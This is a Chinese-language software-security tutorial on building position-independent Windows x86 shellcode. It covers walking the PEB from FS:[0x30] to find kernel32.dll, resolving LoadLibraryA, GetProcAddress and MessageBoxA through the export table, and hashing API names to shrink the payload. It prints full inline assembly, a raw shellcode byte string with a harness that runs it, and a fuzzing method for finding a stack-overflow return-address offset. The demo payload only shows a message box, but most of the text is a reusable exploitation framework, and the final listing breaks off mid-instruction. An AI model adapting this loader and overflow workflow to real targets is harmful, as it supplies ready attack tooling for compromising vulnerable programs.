软件安全(二)优化shellcode
我们在上一节课中所写的shellcode,其中使用到的相关的API是通过写入其内存地址来实现调用。这种方法具有局限性,如切换其他的操作系统API的内存地址就会发生变化,从而无法正常调用。
所谓的shellcode不过是在目标程序中加一个区段使得程序可以执行我们自己的代码。但在这个实现的过程中,存在一个问题:我们无法知晓目标程序中是否包含我们自己的代码中所使用的一些函数的相关库。如果没有相关库的话,也就无法在我们的代码中使用相关函数。为保险起见,我们需要自己加载相关的动态链接库。但由于我们并不清楚目标程序中包含了哪些头文件,因此也无法使用LoadLibrary加载动态链接库。因此我们便需要动态寻找函数地址,从而实现加载动态链接库,进而实现我们自己的代码书写
为了解决这个问题,我们需要学习如何动态寻找函数地址
常见的dll
我们日常中常常使用到的dll文件有以下三种:
1.Kernel32.dll:封装了所有进程内存管理相关的API。
2.user32.dll:窗口程序专用,封装了所有跟窗口操作相关的API
3.ntdll.dll:ring0的大门,无论是kernel32.dll还是user32.dll中的API最终都会去调用ntdll.dll中的API
其中动态调用API需要使用Kernel32.dll
TEB
TEB:线程环境块,实际上就是一个保存了线程中的各种信息的结构体。
typedef struct _TEB
{PVOID Reserved1[12];PPEB ProcessEnvironmentBlock;PVOID Reserved2[399];BYTE Reserved3[1952];PVOID TlsSlots[64];BYTE Reserved4[8];PVOID Reserved5[26];PVOID ReservedForOle;PVOID Reserved6[4];PVOID TlsExpansionSlots;
} TEB, * PTEB;
我们从直观上看这个结构体,并不能获取什么有用的信息。但当我们从字节单位上看,可以看出来该结构体有这么两个重要的成员,它们分别指向了一个结构体:
typedef struct _TEB
{+0x00 :_NT_TIB NtTib;//线程信息块+0x30:_PEB* PPEB;
} TEB, * PTEB;
首先我们了解_NT_TIB结构体:
typedef struct _NT_TIB
{struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList;//用于操作系统的windows的异常处理机制,大量用于反调试程序PVOID StackBase;PVOID StackLimit;PVOID SubSystemTib;union {PVOID FiberData;DWORD Version;};PVOID ArbitraryUserPointer;struct _NT_TIB *Self;//该指针指向了自己本身
} NT_TIB;
PEB的查找
通过NtCurrentTeb()我们可以获取TEB的指针
现在我们开始观察NtCurrentTeb的内部实现,如下图所示:
通过观察可以发现FS寄存器中存放的就是TEB结构体的首地址,由此得出FS:[0X30]==PEB的指针,这样我们也就可以通过TEB获取PEB了
PEB
从TEB中,我们发现了一个指向PEB结构体的指针,而PEB叫做进程环境块,其存放了进程相关信息。我们本节课要学习的动态调用API所需要的相关信息就存放在PEB中
接下来我们只介绍PEB中有用的成员:
struct _PEB
{+0x00c :_PEB_LDR_DATA* Ldr;//当dll文件加载后会Ldr会存放模块相关信息。
}
其中 _PEB_LDR_DATA结构体有用的成员如下:
struct _PEB_LDR_DATA
{+0x000 :Uint length;+0x004 :Uchar initialized;+0x008 :LVOID SsHandle;+0x00c :_LIST_ENTRY InloadOrderMoudleList;//载入顺序排序的dll+0x014 :_LIST_ENTRY InMemoryOrderMoudleList;//内存排序的dll+0x01c :_LIST_ENTRY InitalizationOrderMoudleList;//初始化排序的dll。其中排序通常为ntdll,kernel32.dll或者kernerbase.dll //三个_LIST_ENTRY中所有的dll都一样,只是排列顺序不同
}
其中_LIST_ENTRY结构体如下:
struct _LIST_ENTRY
{_LIST_ENTRY *Flink;//下一个结构体指针_LIST_ENTRY *Blink;//上一个机构体指针
}
通过_LIST_ENTRY双向链表可以遍历所有模块。_PEB_LDR_DATA结构体中InloadOrderMoudleList和InMemoryOrderMoudleList会因为各种情况导致排序顺序发生变化,而第InitalizationOrderMoudleList的排列顺序则不会发生变化。因此我们动态寻找函数地址时使用的是InitalizationOrderMoudleList,其指向了第一个dll
值得注意的是,_LIST_ENTRY是一个结构体,但它是一个被包含在_LDR_DATA_TABLE_ENTRY结构体中的结构体。这个_LDR_DATA_TABLE_ENTRY结构体存储了对应模块的相关信息。因此我们通过_LIST_ENTRY便可以找到了_LDR_DATA_TABLE_ENTRY结构体,自然也就找到了要寻找的模块的信息了
_LDR_DATA_TABLE_ENTRY结构体如下,其中我们利用InitalizationOrderMoudleList正是该结构体的第三个成员
typedef struct _LDR_DATA_TABLE_ENTRY
{LIST_ENTRY InLoadOrderMoudleList;LIST_ENTRY InMemoryOrderMoudleList;LIST_ENTRY InInitializationOrderMoudleList;PVOID DllBase;//模块基址,从而可以找到导出表,如kernel32.dll中的LoadLibraryA和GetProcAdrressPVOID EntryPoint;PVOID SizeOfImage;PVOID FullDllName;.....
}
通过该结构体,我们便可以找到相应模块的信息了
汇编查找kernel32
//FS存储着TEB的起始地址
mov esi,FS:[0x30]//PEB地址
mov esi,[esi+0xc]//Ldr地址
mov esi,[esi+0x1c]//指向第一个InitalizationOrderMoudleList
mov esi,[esi]//指向第二个dll,即kernel32.dll文件信息。通过该dll文件,我们可以实现动态查找函数地址的功能
当我们找到kernel32模块后,就可以通过其导入表找到LoadLibraryA和GetProcAdrress函数从而调用任意API
优化shellcode
接下来我们将优化上一篇shellcode的实现,具体有以下几个步骤:
1.保存相关字符串,如:user32.dll、LoadLibraryA、GetProcAddress、MessageBoxA、hello world
2.通过fs寄存器获取kernel32.dll基址
Mov esi,fs:[0x30]//获取PEB
Mov esi,[esi+0xc]//获取LDR结构体地址
Mov esi,[esi+0x1c]//InInitializationOrderMoudleList
Mov esi,[esi]//InInitializationOrderMoudleList第二项,即kernel32.dll
Mov ecx,[esi,+0x8]//获取kernel32.dll基址
3.获取导出表,根据导出表查找需要的函数
MyGetProcAddress(imageBase,funName,strlen)
ImageBase + 0x3C = NT头
NT头 + 0x78 = dataDirectory第一项,即导出表数据目录
导出函数地址表 = 导出表 + 0x1c
导出函数名称表 = 导出表 + 0X20
导出函数序号表 = 导出表 + 0x24
获取三张表以后,funName同导出函数名称表内容进行比较,获取比对成功的索引值。之后通过索引值获取导出函数序号表对应的序号,即导出函数地址表中对应的索引。之后根据索引值获取导出函数地址表中函数地址
4、字符串比较函数
由于我们并不清楚目标进程是否存在strcmp(),因此我们需要自己实现该API
strcmp是通过逐字节比对从而实现字符串比较功能,因此当我们汇编实现stcmp时,也需要使用循环指令
实现该API的关键在于Repe cmpsb指令。该指令通过按字节进行比较的方式比较edi与esi存储的地址上的值,之后通过DF标志位的值决定edi和esi地址的更新,然后exc - 1。当ecx为0或者esi和edi比较结果不相同时,停止DF循环,然后设置ZF标志位
现在我们简单的实现strcmp的功能:
_asm
{//比较字符串获取APIxor eax, eax; //用于循环计数cld;;//将strcmp所用的DF标志位置零jmp tag_begincmp;tag_cmpLoop:inc eax;//循环计数加一tag_begincmp:mov esi, [ebp - 0x8];//导出函数名称表VAmov esi, [esi + eax * 4];//第一个名称RVAmov edx, [ebp + 0x8]; //函数名称字符串VAlea esi, [edx + esi]; // 要查找的目标函数名称mov edi, [ebp + 0xc];//循环次数mov ecx, [ebp + 0x10];//字符串长度repe cmpsb;jne tag_cmpLoop;//如果相等的话,eax是数组索引mov esi, [ebp - 0xc];//导出函数序号表VAxor edi, edi;//将edi高位清零mov di, [esi + eax * 2];//导出函数序号表索引mov ebx, [ebp - 0x4];//导出函数地址表VAmov ebx, [ebx + edi * 4]; ];//获取目标函数RVAmov edx, [ebp + 0x8];//保存dll基址lea eax, [edx + ebx];//获取目标函数VA
}
5、payload函数:通过调用以上各个功能实现输出hello51hook
保存字符串
通过010editor我们可以获取字符串的十六进制数据,如下所示:
__asm
{//user32.dll:75 73 65 72 33 32 2E 64 6C 6C 00 //LoadLibraryA:4C 6F 61 64 4C 69 62 72 61 72 79 41 00//GetProcAddress:47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00//MessageBoxA:4D 65 73 73 61 67 65 42 6F 78 41 00//hello world:68 65 6C 6C 6F 20 77 6F 72 6C 64 00//保存字符串pushad;sub esp, 0x2F;//提升栈空间push 0x646C72;push 0x6F77206F;push 0x6c6c6568;push 0x41786f;push 0x42656761;push 0x7373654d;mov byte ptr ds : [esp - 1] , 0x0;sub esp, 0x1;mov ax, 0x6c6c;mov word ptr ds : [esp - 2] , ax;sub esp, 0x2;push 0x642e3233;push 0x72657375;mov byte ptr ds : [esp - 1] , 0x0;sub esp, 0x1;mov ax, 0x7373;mov word ptr ds : [esp - 2] , ax;sub esp, 0x2;push 0x65726464;push 0x41636f72;push 0x50746547;mov byte ptr ds : [esp - 1] , 0x0;sub esp, 0x1;push 0x41797261;push 0x7262694c;push 0x64616f4c;mov ecx, esp;push ecx;call fun_payload;
}
获取kernel32.dll基址
__asm
{ //获取kernel32.dll基址fun_getmodule:;push ebp;mov ebp, esp;sub esp, 0xc;push ecx;mov esi, dword ptr fs : [0x30] ;//PEB指针mov esi, [esi + 0xc];//LDR结构体地址mov esi, [esi + 0x1c];//InInitializationOrderMoudleListmov esi, [esi];//InInitializationOrderMoudleList的第二项,即kernel32mov eax, [esi + 0x8];//kernel32基址pop ecx;mov esp, ebp;pop ebp;retn;
}
获取函数地址
__asm
{//获取函数地址fun_getProcAddr:push ebp;mov ebp, esp;sub esp, 0x10;push ecx;push edx;push esi;push edi;//获取导出表mov edx, [ebp + 0x8];//参数dllbasemov esi, [edx + 0x3c];//elf_anewlea esi, [edx + esi];//NT头mov esi, [esi + 0x78];//导出表RVAlea esi, [edx + esi];// 导出表VAmov edi, [esi + 0x1c];//导出函数地址表RVAlea edi, [edx + edi];//导出函数地址表VAmov[ebp - 0x4], edi;mov edi, [esi + 0x20];//导出函数名称表VAlea edi, [edx + edi];//导出函数序号表RVAmov[ebp - 0x8], edi;mov edi, [esi + 0x24];//导出函数序号表RVAlea edi, [edx + edi];//导出函数序号表VAmov[ebp - 0xc], edi;//比较字符串获取APIxor eax, eax; //用于循环计数cld;;//将strcmp所用的DF标志位置零jmp tag_begincmp;tag_cmpLoop:inc eax;//循环计数加一tag_begincmp:mov esi, [ebp - 0x8];//导出函数名称表VAmov esi, [esi + eax * 4];//第一个名称RVAmov edx, [ebp + 0x8]; //函数名称字符串VAlea esi, [edx + esi]; // 要查找的目标函数名称mov edi, [ebp + 0xc];//循环次数mov ecx, [ebp + 0x10];//字符串长度repe cmpsb;jne tag_cmpLoop;//如果相等的话,eax是数组索引mov esi, [ebp - 0xc];//导出函数序号表VAxor edi, edi;//将edi高位清零mov di, [esi + eax * 2];//导出函数序号表索引mov ebx, [ebp - 0x4];//导出函数地址表VAmov ebx, [ebx + edi * 4]; ];//获取目标函数RVAmov edx, [ebp + 0x8];//保存dll基址lea eax, [edx + ebx];//获取目标函数VApop edi;pop esi;pop edx;pop ecx;mov esp, ebp;pop ebp;retn 0x10;
}
调用函数
__asm
{fun_payload:push ebp;mov ebp, esp;sub esp, 0x20;push ecx;push edx;push esi;push edi;call fun_getmodule;mov[ebp - 0x4], eax;//DLLBASE//获取LoadLiabraryApush 0xD;mov ecx, [ebp + 0x8];//第一个参数push ecx;push eax;call fun_getProcAddr;mov[ebp - 0x8], eax;//LoadLibraryA//获取GetProcessAddrpush 0xF;mov ecx, [ebp + 0x8];//第一个参数lea ecx, [ecx + 0xd];push ecx;//字符串首地址mov edx, [ebp - 0x4];push edx;//dllbasecall fun_getProcAddr;mov[ebp - 0xc], eax;//保存GetProcessAddr//调用LoadLibraryA加载user32.dllmov ecx, [ebp + 0x8];//第一个参数lea ecx, [ecx + 0x1c];//user32.dll字符串地址push ecx;call[ebp - 0x8];//调用LoadLibraryA获取user32.dllmov[ebp - 0x10], eax;//user32.dllbase//调用GetProcAddress,获取MessageBoxA地址mov ecx, [ebp + 0x8];lea ecx, [ecx + 0x27];push ecx;push[ebp - 0x10];call[ebp - 0xc];//call GetProcessAddr//输出hello worldpush 0;push 0;mov ebx, [ebp + 0x8];lea ebx, [ebx + 0x33];push ebx;push 0;call eax;pop edi;pop esi;pop edx;pop ecx;mov esp, ebp;pop ebp;retn 0x4;
}
代码汇总
#include<windows.h>
#include<iostream>
void _declspec(naked)shellCode()
{__asm{//user32.dll:75 73 65 72 33 32 2E 64 6C 6C 00 //LoadLibraryA:4C 6F 61 64 4C 69 62 72 61 72 79 41 00//GetProcAddress:47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00//MessageBoxA:4D 65 73 73 61 67 65 42 6F 78 41 00//hello world:68 65 6C 6C 6F 20 77 6F 72 6C 64 00//保存字符串pushad;sub esp, 0x2F;//提升栈空间push 0x646C72;push 0x6F77206F;push 0x6c6c6568;push 0x41786f;push 0x42656761;push 0x7373654d;mov byte ptr ds : [esp - 1] , 0x0;sub esp, 0x1;mov ax, 0x6c6c;mov word ptr ds : [esp - 2] , ax;sub esp, 0x2;push 0x642e3233;push 0x72657375;mov byte ptr ds : [esp - 1] , 0x0;sub esp, 0x1;mov ax, 0x7373;mov word ptr ds : [esp - 2] , ax;sub esp, 0x2;push 0x65726464;push 0x41636f72;push 0x50746547;mov byte ptr ds : [esp - 1] , 0x0;sub esp, 0x1;push 0x41797261;push 0x7262694c;push 0x64616f4c;mov ecx, esp;push ecx;call fun_payload;//获取kernel32.dll基址fun_getmodule:;push ebp;mov ebp, esp;sub esp, 0xc;push ecx;mov esi, dword ptr fs : [0x30] ;//PEB指针mov esi, [esi + 0xc];//LDR结构体地址mov esi, [esi + 0x1c];//InInitializationOrderMoudleListmov esi, [esi];//InInitializationOrderMoudleList的第二项,即kernel32mov eax, [esi + 0x8];//kernel32基址pop ecx;mov esp, ebp;pop ebp;retn;//获取函数地址fun_getProcAddr:push ebp;mov ebp, esp;sub esp, 0x10;push ecx;push edx;push esi;push edi;//获取导出表mov edx, [ebp + 0x8];//参数dllbasemov esi, [edx + 0x3c];//elf_anewlea esi, [edx + esi];//NT头mov esi, [esi + 0x78];//导出表RVAlea esi, [edx + esi];// 导出表VAmov edi, [esi + 0x1c];//导出函数地址表RVAlea edi, [edx + edi];//导出函数地址表VAmov[ebp - 0x4], edi;mov edi, [esi + 0x20];//导出函数名称表VAlea edi, [edx + edi];//导出函数序号表RVAmov[ebp - 0x8], edi;mov edi, [esi + 0x24];//导出函数序号表RVAlea edi, [edx + edi];//导出函数序号表VAmov[ebp - 0xc], edi;//比较字符串获取APIxor eax, eax; //用于循环计数cld;;//将strcmp所用的DF标志位置零jmp tag_begincmp;tag_cmpLoop:inc eax;//循环计数加一tag_begincmp:mov esi, [ebp - 0x8];//导出函数名称表VAmov esi, [esi + eax * 4];//第一个名称RVAmov edx, [ebp + 0x8]; //函数名称字符串VAlea esi, [edx + esi]; // 要查找的目标函数名称mov edi, [ebp + 0xc];//循环次数mov ecx, [ebp + 0x10];//字符串长度repe cmpsb;jne tag_cmpLoop;//如果相等的话,eax是数组索引mov esi, [ebp - 0xc];//导出函数序号表VAxor edi, edi;//将edi高位清零mov di, [esi + eax * 2];//导出函数序号表索引mov ebx, [ebp - 0x4];//导出函数地址表VAmov ebx, [ebx + edi * 4]; ];//获取目标函数RVAmov edx, [ebp + 0x8];//保存dll基址lea eax, [edx + ebx];//获取目标函数VApop edi;pop esi;pop edx;pop ecx;mov esp, ebp;pop ebp;retn 0x10;fun_payload:push ebp;mov ebp, esp;sub esp, 0x20;push ecx;push edx;push esi;push edi;call fun_getmodule;mov[ebp - 0x4], eax;//DLLBASE//获取LoadLiabraryApush 0xD;mov ecx, [ebp + 0x8];//第一个参数push ecx;push eax;call fun_getProcAddr;mov[ebp - 0x8], eax;//LoadLibraryA//获取GetProcessAddrpush 0xF;mov ecx, [ebp + 0x8];//第一个参数lea ecx, [ecx + 0xd];push ecx;//字符串首地址mov edx, [ebp - 0x4];push edx;//dllbasecall fun_getProcAddr;mov[ebp - 0xc], eax;//保存GetProcessAddr//调用LoadLibraryA加载user32.dllmov ecx, [ebp + 0x8];//第一个参数lea ecx, [ecx + 0x1c];//user32.dll字符串地址push ecx;call[ebp - 0x8];//调用LoadLibraryA获取user32.dllmov[ebp - 0x10], eax;//user32.dllbase//调用GetProcAddress,获取MessageBoxA地址mov ecx, [ebp + 0x8];lea ecx, [ecx + 0x27];push ecx;push[ebp - 0x10];call[ebp - 0xc];//call GetProcessAddr//输出hello worldpush 0;push 0;mov ebx, [ebp + 0x8];lea ebx, [ebx + 0x33];push ebx;push 0;call eax;pop edi;pop esi;pop edx;pop ecx;mov esp, ebp;pop ebp;retn 0x4;}
}
int main()
{shellCode();return 0;
}
调试shellcode
将上述汇编代码利用x32dbg可以获取其硬编码,如下所示:
"\x60\x83\xEC\x30\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x68\x6F\x6F\x6B\x68\x6F\x20\x35\x31\x68\x68\x65\x6C\x6C\x68\x6F\x78\x41\x00\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x6C\x6C\x3E\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x73\x73\x3E\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x64\x64\x72\x65\x68\x72\x6F\x63\x41\x68\x47\x65\x74\x50\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x8B\xCC\x51\xE8\x8E\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x56\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x76\x08\x8B\xC6\x5E\x8B\xE5\x5D\xC3\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC0\xFC\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8D\x34\x32\x8B\x7D\x0C\x8B\x4D\x10\xF3\xA6\x75\xEC\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x0C\x00\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\xE8\x62\xFF\xFF\xFF\x89\x45\xFC\x6A\x0D\x8B\x4D\x08\x51\x50\xE8\x73\xFF\xFF\xFF\x89\x45\xF8\x6A\x0F\x8D\x49\x0D\x51\xFF\x75\xFC\xE8\x62\xFF\xFF\xFF\x89\x45\xF4\x8B\x4D\x08\x8D\x49\x1C\x51\xFF\x55\xF8\x89\x45\xF0\x8B\x4D\x08\x8D\x49\x27\x51\xFF\x75\xF0\xFF\x55\xF4\x89\x45\xEC\x6A\x00\x6A\x00\x8B\x4D\x08\x8D\x49\x33\x51\x6A\x00\xFF\x55\xEC\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x04\x00"
当我们写完shellcode以后,通常需要调试shellcode以判断书写是否正确
调试方法如下:
一.修改项目属性:
二.书写调试代码:
#include<windows.h>
#include<stdio.h>char shellcode[] = "\x60\x83\xEC\x30\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x68\x6F\x6F\x6B\x68\x6F\x20\x35\x31\x68\x68\x65\x6C\x6C\x68\x6F\x78\x41\x00\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x6C\x6C\x3E\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x73\x73\x3E\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x64\x64\x72\x65\x68\x72\x6F\x63\x41\x68\x47\x65\x74\x50\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x8B\xCC\x51\xE8\x8E\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x56\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x76\x08\x8B\xC6\x5E\x8B\xE5\x5D\xC3\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC0\xFC\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8D\x34\x32\x8B\x7D\x0C\x8B\x4D\x10\xF3\xA6\x75\xEC\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x0C\x00\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\xE8\x62\xFF\xFF\xFF\x89\x45\xFC\x6A\x0D\x8B\x4D\x08\x51\x50\xE8\x73\xFF\xFF\xFF\x89\x45\xF8\x6A\x0F\x8D\x49\x0D\x51\xFF\x75\xFC\xE8\x62\xFF\xFF\xFF\x89\x45\xF4\x8B\x4D\x08\x8D\x49\x1C\x51\xFF\x55\xF8\x89\x45\xF0\x8B\x4D\x08\x8D\x49\x27\x51\xFF\x75\xF0\xFF\x55\xF4\x89\x45\xEC\x6A\x00\x6A\x00\x8B\x4D\x08\x8D\x49\x33\x51\x6A\x00\xFF\x55\xEC\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x04\x00";int main()
{__asm{lea eax, shellcode;push eax;retn;}return 0;
}
三.利用x32dbg调试即可
模糊测试
当我们编写并调试完毕shellcode时,便需要寻找程序的漏洞所在处,将shellcode插入进去了。
以我们学习的栈溢出漏洞为例,通常一个程序的栈空间是很大的,因此我们并不容易定位到栈溢出点。为了方便定位到栈溢出点,我们通常需要使用模糊测试
现在我们以上一节课的栈溢出漏洞的程序进行演示:
1.为了寻找栈溢出点,我们可以在password.txt中写入一堆的1:
然后运行程序,很显然程序会因为栈溢出而崩掉
2.通过Windows自带的计算机管理,我们可以找到该程序错误点,如下图所示
可以发现,Windows为我们提供了错误的详细信息:通过错误偏移量我们可以发现在内存中错误发生处的十六进制数据,正是我们所写的password.txt中的一堆1。
但是password.txt中都是1,我们很难去辨别到底栈溢出点是在哪,因此我们需要针对的去进行修改这些1,通常的方法是写一堆有规律的数据,如下所示:
我们将password.txt进行修改,然后运行程序使其再次崩坏,然后依上文的方式再次寻找错误发生点,如下图所示:
我们通过错误偏移量便可找到栈溢出的点,由于内存小端序,所以实际的错误偏移量为0x45344535。
通过010editor,可以发现溢出点所在处,如下图所示:password.txt中E4E5数据处
如图可知,password.txt中E4E5数据处正是栈溢出的位置,即淹没函数返回地址的位置。我们现在只需在栈溢出点处修改数据为我们的shellcode地址即可。
修改方法同上一节方法一致,通过jmp esp指令跳转到shellcode执行处即可,此处不再赘述
最终的shellcode如下所示:
至此我们便通过模糊测试实现了shellcode的插入了
再次运行程序,正常弹窗:
shellcode瘦身
我们在上文所写的shellcode,仅仅只用了几个API的字符串就产生了那么多的数据,这会造成栈空间的巨大浪费。在很多攻击环境下,对于我们的shellcode的大小是有严格限制的,因此我们需要学习如何去将shellcode瘦身以减少栈空间的浪费。
在上文的shellcode中,我们实现一个hello world的弹窗使用了以下字符串:LoadLibraryA,GetProcAddress,MessageBoxA,user32.dll,Hello world。无论字符串长度是多大,当我们通过对字符串进行加密或编码时,其长度最终只会是四个字节。而这四个字节,称之为哈希值。每个字符串的哈希值都不一样,而且该值也没有0的出现,避免字符串截断
如下所示便是我们编码字符串的一种算法,Hash算法:
DWORD getHashCode(char *strname)
{DWORD digest = 0;while (*strname){digest = (digest<<25 | digest>>7);digest = digest + *strname;strname++;}return digest;
}
通过该算法,我么可以将字符串缩减为四字节大小
接下来我们针对该算法实现汇编代码
汇编代码实现
__asm
{push ebp;mov ebp, esp;sub esp, 0X4;//用于存放digestpush ecx;push edx;push ebx;mov dword ptr[ebp - 0x4], 0;//初始化digestmov esi, [ebp + 0x8];//保存函数参数strnamexor ecx, ecx;
tag_hashLoop:xor eax, eax;//初始化循环次数mov al, [esi + ecx];test al, al;//判断循环条件jz tag_end;mov ebx, [ebp - 0x4];//保存digestshl ebx, 0x19;//digest << 25mov edx, [ebp - 0x4];//保存digestshr edx, 0x7;//digest >> 7or ebx, edx;//digest << 25 | digest >> 7add ebx, eax;//digest = digest + *strname;mov[ebp - 0x4], ebx;//保存digestinc ecx;//strname++; jmp tag_hashLoop;
tag_end:mov eax, [ebp - 0x4];//保存返回值pop ebx;pop edx;pop ecx;mov esp, ebp;pop ebp;retn 0x4;//跳过函数参数,平衡堆栈
}
当我们实现完编码函数以后,就可以通过函数获取每个字符串对应的四字节数据,进而取代字符串。在后续导出表比对API时,只需要将相关的API进行编码运算,然后在比对四字节数据就可以找到对应的API了。这样虽然会使目标程序的运行时间变长,但shellcode的长度会变短很多
shellcode成品
接下来我们将字符串编码的汇编代码插入我们的shellcode中
#include<windows.h>
#include<iostream>
void _declspec(naked)shellCode()
{__asm{//user32.dll 75 73 65 72 33 32 2E 64 6C 6C 00 长度:0xB//hello 51hook 68 65 6C 6C 6F 20 35 31 68 6F 6F 6B 00 长度:0xD// kernel32.dll 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00//ExitProcess哈希值:0x4FD18963// LoadLibraryA哈希值:0XC917432//GetProcAddress哈希值:0XBBAFDF85// MessageBoxA哈希值:0x1E380A6A//1.保存字符串信息pushadsub esp, 0x30//kenerl32.dllmov byte ptr ds : [esp - 1] , 0x0sub esp, 0x1push 0x6C6C642Epush 0x32336C65push 0x6E72656B//hello 51hook 字符串mov byte ptr ds : [esp - 1] , 0x0sub esp, 0x1push 0x6B6F6F68push 0x3135206Fpush 0x6c6c6568//user32.dll 字符串mov byte ptr ds : [esp - 1] , 0x0sub esp, 0x1mov ax, 0x6c6cmov word ptr ds : [esp - 2] , axsub esp, 0x2push 0x642e3233push 0x72657375mov ecx, esppush ecxcall fun_payload//popad//2.获取模块基址fun_GetModule:push ebpmov ebp, espsub esp, 0xcpush esimov esi, dword ptr fs : [0x30]//PEB指针mov esi, [esi + 0xc]//LDR结构体地址mov esi, [esi + 0x1c]//listmov esi, [esi]//list的第二项 kernel32mov esi, [esi + 0x8]//dllbasemov eax, esipop esimov esp, ebppop ebpretn//查找API函数:fun_GetProcAddr :push ebpmov ebp, espsub esp, 0x20push esipush edipush edxpush ebxpush ecxmov edx, [ebp + 0X8]//dllbasemov esi, [edx + 0x3c]//lf_anewlea esi, [edx + esi]//Nt头mov esi, [esi + 0x78]//导出表RVAlea esi, [edx + esi]//导出表VAmov edi, [esi + 0x1c]//EAT RVAlea edi, [edx + edi]//EAT VAmov[ebp - 0x4], edi//eatvamov edi, [esi + 0x20]//ENT RVAlea edi, [edx + edi]//ENT vamov[ebp - 0x8], edi//ENTVAmov edi, [esi + 0x24]//EOT RVAlea edi, [edx + edi]//mov[ebp - 0xc], edi//EOTVA//比较字符串获取APIxor eax, eaxxor ebx, ebxcldjmp tag_cmpfirsttag_cmpLoop :inc ebxtag_cmpfirst :mov esi, [ebp - 0x8]//ENTmov esi, [esi + ebx * 4]//RVAlea esi, [edx + esi]//函数名称字符串地址mov edi, [ebp + 0xc]//要查找的目标函数名称哈希值push esi//传参call fun_hashCode//对ENT表函数名称进行编码cmp eax, edi//哈希值比较jne tag_cmpLoopmov esi, [ebp - 0xc]//eotxor edi, edi//为了不影响结果清空edimov di, [esi + ebx * 2]//eat表索引mov edx, [ebp - 0x4]//eatmov esi, [edx + edi * 4]//函数地址rvamov edx, [ebp + 0x8]//dllbaselea eax, [edx + esi]//funaddr vapop ecxpop ebxpop edxpop edipop esimov esp, ebppop ebpretn 0x8//hashCode部分fun_hashCode:push ebpmov ebp, espsub esp, 0X4push ecxpush edxpush ebxmov dword ptr[ebp - 0x4], 0mov esi, [ebp + 0x8]xor ecx, ecxtag_hashLoop :xor eax, eaxmov al, [esi + ecx]test al, aljz tag_endmov ebx, [ebp - 0x4]shl ebx, 0x19mov edx, [ebp - 0x4]shr edx, 0x7or ebx, edxadd ebx, eaxmov[ebp - 0x4], ebxinc ecx//ecx++jmp tag_hashLooptag_end :mov eax, [ebp - 0x4]pop ebxpop edxpop ecxmov esp, ebppop ebpretn 0x4//paylod部分fun_payload:push ebpmov ebp, espsub esp, 0x30push esipush edipush edxpush ebxpush ecx//1.先拿到dllbasecall fun_GetModulemov[ebp - 0x4], eax//2.获取LoadLibraryApush 0XC917432//LoadLibraryA 哈希值push eaxcall fun_GetProcAddrmov[ebp - 0x8], eax//LoadLibraryA 地址//3.获取GetProcAddresspush 0xBBAFDF85//GetProcAddress 哈希值//kener32和kernelBase无论哪个都可以调用LoadLibraryA等等//但只有kener32可以调用ExitProcesspush[ebp - 0x4]//dllbasecall fun_GetProcAddrmov[ebp - 0xc], eax//GetProcAddress 函数地址//4.调用LoadLibraryA 加载user32.dllmov ecx, [ebp + 0x8]push ecxcall[ebp - 0x8]//调用loadlibraya获取 user32.dll mov[ebp - 0x10], eax//user32base//5.调用fun_GetProcAddr 获取MessageBoxA地址push 0x1E380A6A//MessageBoxA 哈希值push[ebp - 0x10]call fun_GetProcAddr//获取MessageBoxA的函数地址mov[ebp - 0x14], eax//6.输出hello 51hookpush 0push 0mov ecx, [ebp + 0x8]lea 